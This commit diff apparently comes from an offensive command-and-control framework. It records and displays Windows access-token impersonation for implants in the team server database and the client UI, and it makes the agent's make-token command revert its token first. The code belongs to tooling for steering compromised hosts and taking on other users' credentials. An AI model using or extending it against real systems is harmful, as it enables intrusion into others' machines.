Impersonated user is displayed in the client UI and persisted in the team server database.
This commit is contained in:
@@ -3,6 +3,6 @@
|
|||||||
-d:release
|
-d:release
|
||||||
--opt:size
|
--opt:size
|
||||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-d:MODULES="511"
|
-d:MODULES="511"
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -96,6 +96,9 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
sessionsTable.agents.add(agent)
|
sessionsTable.agents.add(agent)
|
||||||
sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
|
sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
|
||||||
|
|
||||||
|
if not agent.impersonationToken.isEmptyOrWhitespace():
|
||||||
|
sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken
|
||||||
|
|
||||||
# Initialize position of console windows to bottom by drawing them once when they are added
|
# Initialize position of console windows to bottom by drawing them once when they are added
|
||||||
# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
|
# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
|
||||||
# so if you place your listeners somewhere else, the console windows show up somewhere else too
|
# so if you place your listeners somewhere else, the console windows show up somewhere else too
|
||||||
@@ -171,6 +174,16 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
of SCREENSHOT:
|
of SCREENSHOT:
|
||||||
lootScreenshots.addTexture(lootItem.lootId, data)
|
lootScreenshots.addTexture(lootItem.lootId, data)
|
||||||
else: discard
|
else: discard
|
||||||
|
|
||||||
|
of CLIENT_IMPERSONATE_TOKEN:
|
||||||
|
let
|
||||||
|
agentId = event.data["agentId"].getStr()
|
||||||
|
impersonationToken = event.data["username"].getStr()
|
||||||
|
sessionsTable.agentImpersonation[agentId] = impersonationToken
|
||||||
|
|
||||||
|
of CLIENT_REVERT_TOKEN:
|
||||||
|
echo event.data["agentId"].getStr()
|
||||||
|
sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
|
||||||
|
|
||||||
else: discard
|
else: discard
|
||||||
|
|
||||||
|
|||||||
@@ -9,7 +9,8 @@ type
|
|||||||
SessionsTableComponent* = ref object of RootObj
|
SessionsTableComponent* = ref object of RootObj
|
||||||
title: string
|
title: string
|
||||||
agents*: seq[UIAgent]
|
agents*: seq[UIAgent]
|
||||||
agentActivity*: Table[string, int64] # Direct O(1) access to latest checkin
|
agentActivity*: Table[string, int64] # Direct O(1) access to latest checkin
|
||||||
|
agentImpersonation*: Table[string, string]
|
||||||
selection: ptr ImGuiSelectionBasicStorage
|
selection: ptr ImGuiSelectionBasicStorage
|
||||||
consoles: ptr Table[string, ConsoleComponent]
|
consoles: ptr Table[string, ConsoleComponent]
|
||||||
|
|
||||||
@@ -45,6 +46,8 @@ proc interact(component: SessionsTableComponent) =
|
|||||||
proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
||||||
igBegin(component.title, showComponent, 0)
|
igBegin(component.title, showComponent, 0)
|
||||||
|
|
||||||
|
let textSpacing = igGetStyle().ItemSpacing.x
|
||||||
|
|
||||||
let tableFlags = (
|
let tableFlags = (
|
||||||
ImGuiTableFlags_Resizable.int32 or
|
ImGuiTableFlags_Resizable.int32 or
|
||||||
ImGuiTableFlags_Reorderable.int32 or
|
ImGuiTableFlags_Reorderable.int32 or
|
||||||
@@ -59,7 +62,7 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
|||||||
ImGui_TableFlags_SizingStretchSame.int32
|
ImGui_TableFlags_SizingStretchSame.int32
|
||||||
)
|
)
|
||||||
|
|
||||||
let cols: int32 = 12
|
let cols: int32 = 11
|
||||||
if igBeginTable("Sessions", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
|
if igBeginTable("Sessions", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
|
||||||
|
|
||||||
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
|
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
|
||||||
@@ -68,7 +71,6 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
|||||||
igTableSetupColumn("IP (External)", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
igTableSetupColumn("IP (External)", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
|
||||||
igTableSetupColumn("OS", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("OS", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Process", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("Process", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("PID", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("PID", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
@@ -104,18 +106,26 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
|||||||
if igTableSetColumnIndex(3):
|
if igTableSetColumnIndex(3):
|
||||||
igText(agent.ipExternal)
|
igText(agent.ipExternal)
|
||||||
if igTableSetColumnIndex(4):
|
if igTableSetColumnIndex(4):
|
||||||
|
|
||||||
|
if not agent.domain.isEmptyOrWhitespace():
|
||||||
|
igText(agent.domain & "\\")
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
|
||||||
igText(agent.username)
|
igText(agent.username)
|
||||||
|
|
||||||
|
if component.agentImpersonation.hasKey(agent.agentId):
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igText(fmt"[{component.agentImpersonation[agent.agentId]}]")
|
||||||
|
|
||||||
if igTableSetColumnIndex(5):
|
if igTableSetColumnIndex(5):
|
||||||
igText(agent.hostname)
|
igText(agent.hostname)
|
||||||
if igTableSetColumnIndex(6):
|
if igTableSetColumnIndex(6):
|
||||||
igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain)
|
|
||||||
if igTableSetColumnIndex(7):
|
|
||||||
igText(agent.os)
|
igText(agent.os)
|
||||||
if igTableSetColumnIndex(8):
|
if igTableSetColumnIndex(7):
|
||||||
igText(agent.process)
|
igText(agent.process)
|
||||||
if igTableSetColumnIndex(9):
|
if igTableSetColumnIndex(8):
|
||||||
igText($agent.pid)
|
igText($agent.pid)
|
||||||
if igTableSetColumnIndex(10):
|
if igTableSetColumnIndex(9):
|
||||||
let duration = now() - agent.firstCheckin.fromUnix().local()
|
let duration = now() - agent.firstCheckin.fromUnix().local()
|
||||||
let totalSeconds = duration.inSeconds
|
let totalSeconds = duration.inSeconds
|
||||||
|
|
||||||
@@ -126,7 +136,7 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
|||||||
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss")
|
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss")
|
||||||
igText(fmt"{timeText} ago")
|
igText(fmt"{timeText} ago")
|
||||||
|
|
||||||
if igTableSetColumnIndex(11):
|
if igTableSetColumnIndex(10):
|
||||||
let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
|
let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
|
||||||
let totalSeconds = duration.inSeconds
|
let totalSeconds = duration.inSeconds
|
||||||
|
|
||||||
|
|||||||
@@ -55,6 +55,8 @@ type
|
|||||||
CMD_MAKE_TOKEN = 18'u16
|
CMD_MAKE_TOKEN = 18'u16
|
||||||
CMD_STEAL_TOKEN = 19'u16
|
CMD_STEAL_TOKEN = 19'u16
|
||||||
CMD_REV2SELF = 20'u16
|
CMD_REV2SELF = 20'u16
|
||||||
|
CMD_TOKEN_GET_PRIV = 21'u16
|
||||||
|
CMD_TOKEN_SET_PRIV = 22'u16
|
||||||
|
|
||||||
StatusType* = enum
|
StatusType* = enum
|
||||||
STATUS_COMPLETED = 0'u8
|
STATUS_COMPLETED = 0'u8
|
||||||
@@ -195,6 +197,7 @@ type
|
|||||||
agentId*: string
|
agentId*: string
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
username*: string
|
username*: string
|
||||||
|
impersonationToken*: string
|
||||||
hostname*: string
|
hostname*: string
|
||||||
domain*: string
|
domain*: string
|
||||||
ipInternal*: string
|
ipInternal*: string
|
||||||
@@ -215,6 +218,7 @@ type
|
|||||||
agentId*: string
|
agentId*: string
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
username*: string
|
username*: string
|
||||||
|
impersonationToken*: string
|
||||||
hostname*: string
|
hostname*: string
|
||||||
domain*: string
|
domain*: string
|
||||||
ipInternal*: string
|
ipInternal*: string
|
||||||
@@ -275,6 +279,8 @@ type
|
|||||||
CLIENT_BUILDLOG_ITEM = 107'u8 # Add entry to the build log
|
CLIENT_BUILDLOG_ITEM = 107'u8 # Add entry to the build log
|
||||||
CLIENT_LOOT_ADD = 108'u8 # Add file or screenshot stored on the team server to preview on the client, only sends metadata and not the actual file content
|
CLIENT_LOOT_ADD = 108'u8 # Add file or screenshot stored on the team server to preview on the client, only sends metadata and not the actual file content
|
||||||
CLIENT_LOOT_DATA = 109'u8 # Send file/screenshot bytes to the client to display as preview or to download to the client desktop
|
CLIENT_LOOT_DATA = 109'u8 # Send file/screenshot bytes to the client to display as preview or to download to the client desktop
|
||||||
|
CLIENT_IMPERSONATE_TOKEN = 110'u8 # Access token impersonated
|
||||||
|
CLIENT_REVERT_TOKEN = 111'u8 # Revert to original logon session
|
||||||
|
|
||||||
Event* = object
|
Event* = object
|
||||||
eventType*: EventType
|
eventType*: EventType
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ let module* = Module(
|
|||||||
description: protect("Create an access token from username and password."),
|
description: protect("Create an access token from username and password."),
|
||||||
example: protect("make-token LAB\\john Password123!"),
|
example: protect("make-token LAB\\john Password123!"),
|
||||||
arguments: @[
|
arguments: @[
|
||||||
Argument(name: protect("domain\\username"), description: protect("Account domain and username."), argumentType: STRING, isRequired: true),
|
Argument(name: protect("domain\\username"), description: protect("Account domain and username. For impersonating local users, use .\\username."), argumentType: STRING, isRequired: true),
|
||||||
Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true),
|
Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true),
|
||||||
Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false)
|
Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false)
|
||||||
],
|
],
|
||||||
@@ -63,6 +63,9 @@ when defined(agent):
|
|||||||
if task.argCount == 3:
|
if task.argCount == 3:
|
||||||
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
|
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
|
||||||
|
|
||||||
|
# Revert current token before creating a new one
|
||||||
|
discard rev2self()
|
||||||
|
|
||||||
if not makeToken(userParts[1], password, userParts[0], logonType):
|
if not makeToken(userParts[1], password, userParts[0], logonType):
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.")))
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.")))
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
|
||||||
|
|||||||
@@ -99,6 +99,20 @@ proc handleResult*(resultData: seq[byte]) =
|
|||||||
cq.client.sendConsoleItem(agentId, LOG_SUCCESS, fmt"Task {taskId} completed.")
|
cq.client.sendConsoleItem(agentId, LOG_SUCCESS, fmt"Task {taskId} completed.")
|
||||||
cq.success(fmt"Task {taskId} completed.")
|
cq.success(fmt"Task {taskId} completed.")
|
||||||
cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
|
cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
|
||||||
|
|
||||||
|
# Handle additional actions or UI-events based on command type (only when command succeeded)
|
||||||
|
case cast[CommandType](taskResult.command):
|
||||||
|
of CMD_MAKE_TOKEN:
|
||||||
|
let impersonationToken: string = Bytes.toString(taskResult.data).split(" ")[1][0..^2] # Remove trailing '.' character from the domain\username string
|
||||||
|
if cq.dbUpdateTokenImpersonation(agentId, impersonationToken):
|
||||||
|
cq.agents[agentId].impersonationToken = impersonationToken
|
||||||
|
cq.client.sendImpersonateToken(agentId, impersonationToken)
|
||||||
|
of CMD_REV2SELF:
|
||||||
|
if cq.dbUpdateTokenImpersonation(agentId, ""):
|
||||||
|
cq.agents[agentId].impersonationToken.setLen(0)
|
||||||
|
cq.client.sendRevertToken(agentId)
|
||||||
|
else: discard
|
||||||
|
|
||||||
of STATUS_FAILED:
|
of STATUS_FAILED:
|
||||||
cq.client.sendConsoleItem(agentId, LOG_ERROR, fmt"Task {taskId} failed.")
|
cq.client.sendConsoleItem(agentId, LOG_ERROR, fmt"Task {taskId} failed.")
|
||||||
cq.error(fmt"Task {taskId} failed.")
|
cq.error(fmt"Task {taskId} failed.")
|
||||||
@@ -138,11 +152,8 @@ proc handleResult*(resultData: seq[byte]) =
|
|||||||
host: cq.agents[agentId].hostname
|
host: cq.agents[agentId].hostname
|
||||||
)
|
)
|
||||||
|
|
||||||
# Store loot in database
|
|
||||||
if not cq.dbStoreLoot(lootItem):
|
|
||||||
raise newException(ValueError, fmt"Failed to store loot in database." & "\n")
|
|
||||||
|
|
||||||
# Send loot to client to display file/screenshot in the UI
|
# Send loot to client to display file/screenshot in the UI
|
||||||
|
discard cq.dbStoreLoot(lootItem)
|
||||||
cq.client.sendLoot(lootItem)
|
cq.client.sendLoot(lootItem)
|
||||||
|
|
||||||
cq.output(fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).", "\n")
|
cq.output(fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).", "\n")
|
||||||
|
|||||||
@@ -114,6 +114,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string):
|
|||||||
agentId: Uuid.toString(header.agentId),
|
agentId: Uuid.toString(header.agentId),
|
||||||
listenerId: Uuid.toString(listenerId),
|
listenerId: Uuid.toString(listenerId),
|
||||||
username: username,
|
username: username,
|
||||||
|
impersonationToken: "",
|
||||||
hostname: hostname,
|
hostname: hostname,
|
||||||
domain: domain,
|
domain: domain,
|
||||||
ipInternal: ipInternal,
|
ipInternal: ipInternal,
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ proc `%`*(agent: Agent): JsonNode =
|
|||||||
result["agentId"] = %agent.agentId
|
result["agentId"] = %agent.agentId
|
||||||
result["listenerId"] = %agent.listenerId
|
result["listenerId"] = %agent.listenerId
|
||||||
result["username"] = %agent.username
|
result["username"] = %agent.username
|
||||||
|
result["impersonationToken"] = %agent.impersonationToken
|
||||||
result["hostname"] = %agent.hostname
|
result["hostname"] = %agent.hostname
|
||||||
result["domain"] = %agent.domain
|
result["domain"] = %agent.domain
|
||||||
result["ipInternal"] = %agent.ipInternal
|
result["ipInternal"] = %agent.ipInternal
|
||||||
@@ -188,5 +189,28 @@ proc sendLootData*(client: WsConnection, loot: LootItem, data: string) =
|
|||||||
"data": encode(data)
|
"data": encode(data)
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
if client != nil:
|
||||||
|
client.ws.sendEvent(event, client.sessionKey)
|
||||||
|
|
||||||
|
proc sendImpersonateToken*(client: WsConnection, agentId: string, username: string) =
|
||||||
|
let event = Event(
|
||||||
|
eventType: CLIENT_IMPERSONATE_TOKEN,
|
||||||
|
timestamp: now().toTime().toUnix(),
|
||||||
|
data: %*{
|
||||||
|
"agentId": agentId,
|
||||||
|
"username": username
|
||||||
|
}
|
||||||
|
)
|
||||||
|
if client != nil:
|
||||||
|
client.ws.sendEvent(event, client.sessionKey)
|
||||||
|
|
||||||
|
proc sendRevertToken*(client: WsConnection, agentId: string) =
|
||||||
|
let event = Event(
|
||||||
|
eventType: CLIENT_REVERT_TOKEN,
|
||||||
|
timestamp: now().toTime().toUnix(),
|
||||||
|
data: %*{
|
||||||
|
"agentId": agentId
|
||||||
|
}
|
||||||
|
)
|
||||||
if client != nil:
|
if client != nil:
|
||||||
client.ws.sendEvent(event, client.sessionKey)
|
client.ws.sendEvent(event, client.sessionKey)
|
||||||
@@ -28,6 +28,7 @@ proc dbInit*(cq: Conquest) =
|
|||||||
process TEXT NOT NULL,
|
process TEXT NOT NULL,
|
||||||
pid INTEGER NOT NULL,
|
pid INTEGER NOT NULL,
|
||||||
username TEXT NOT NULL,
|
username TEXT NOT NULL,
|
||||||
|
impersonationToken TEXT NOT NULL,
|
||||||
hostname TEXT NOT NULL,
|
hostname TEXT NOT NULL,
|
||||||
domain TEXT NOT NULL,
|
domain TEXT NOT NULL,
|
||||||
ipInternal TEXT NOT NULL,
|
ipInternal TEXT NOT NULL,
|
||||||
|
|||||||
@@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
|
|||||||
let sessionKeyBlob = agent.sessionKey.toSeq()
|
let sessionKeyBlob = agent.sessionKey.toSeq()
|
||||||
|
|
||||||
conquestDb.exec("""
|
conquestDb.exec("""
|
||||||
INSERT INTO agents (agentId, listenerId, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey)
|
INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
|
||||||
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
|
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
|
||||||
|
|
||||||
conquestDb.close()
|
conquestDb.close()
|
||||||
except:
|
except:
|
||||||
@@ -32,8 +32,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
|||||||
try:
|
try:
|
||||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||||
|
|
||||||
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
|
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
|
||||||
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
let (agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
||||||
|
|
||||||
# Convert session key blob back to array
|
# Convert session key blob back to array
|
||||||
var sessionKey: Key
|
var sessionKey: Key
|
||||||
@@ -49,6 +49,7 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
|||||||
sleep: sleep,
|
sleep: sleep,
|
||||||
pid: pid,
|
pid: pid,
|
||||||
username: username,
|
username: username,
|
||||||
|
impersonationToken: impersonationToken,
|
||||||
hostname: hostname,
|
hostname: hostname,
|
||||||
domain: domain,
|
domain: domain,
|
||||||
ipInternal: ipInternal,
|
ipInternal: ipInternal,
|
||||||
@@ -128,11 +129,11 @@ proc dbDeleteAgentByName*(cq: Conquest, agentId: string): bool =
|
|||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
||||||
proc dbAgentExists*(cq: Conquest, agentName: string): bool =
|
proc dbAgentExists*(cq: Conquest, agentId: string): bool =
|
||||||
try:
|
try:
|
||||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||||
|
|
||||||
let res = conquestDb.one("SELECT 1 FROM agents WHERE agentId = ? LIMIT 1", agentName)
|
let res = conquestDb.one("SELECT 1 FROM agents WHERE agentId = ? LIMIT 1", agentId)
|
||||||
|
|
||||||
conquestDb.close()
|
conquestDb.close()
|
||||||
|
|
||||||
@@ -141,11 +142,11 @@ proc dbAgentExists*(cq: Conquest, agentName: string): bool =
|
|||||||
cq.error(getCurrentExceptionMsg())
|
cq.error(getCurrentExceptionMsg())
|
||||||
return false
|
return false
|
||||||
|
|
||||||
proc dbUpdateSleep*(cq: Conquest, agentName: string, delay: int): bool =
|
proc dbUpdateTokenImpersonation*(cq: Conquest, agentId: string, impersonationToken: string): bool =
|
||||||
try:
|
try:
|
||||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||||
|
|
||||||
conquestDb.exec("UPDATE agents SET sleep = ? WHERE agentId = ?", delay, agentName)
|
conquestDb.exec("UPDATE agents SET impersonationToken = ? WHERE agentId = ?", impersonationToken, agentId)
|
||||||
|
|
||||||
conquestDb.close()
|
conquestDb.close()
|
||||||
return true
|
return true
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import strformat, strutils, system, terminal, tiny_sqlite
|
import strformat, system, terminal, tiny_sqlite
|
||||||
|
|
||||||
import ../core/logger
|
import ../core/logger
|
||||||
import ../../common/types
|
import ../../common/types
|
||||||
|
|||||||
Reference in New Issue
Block a user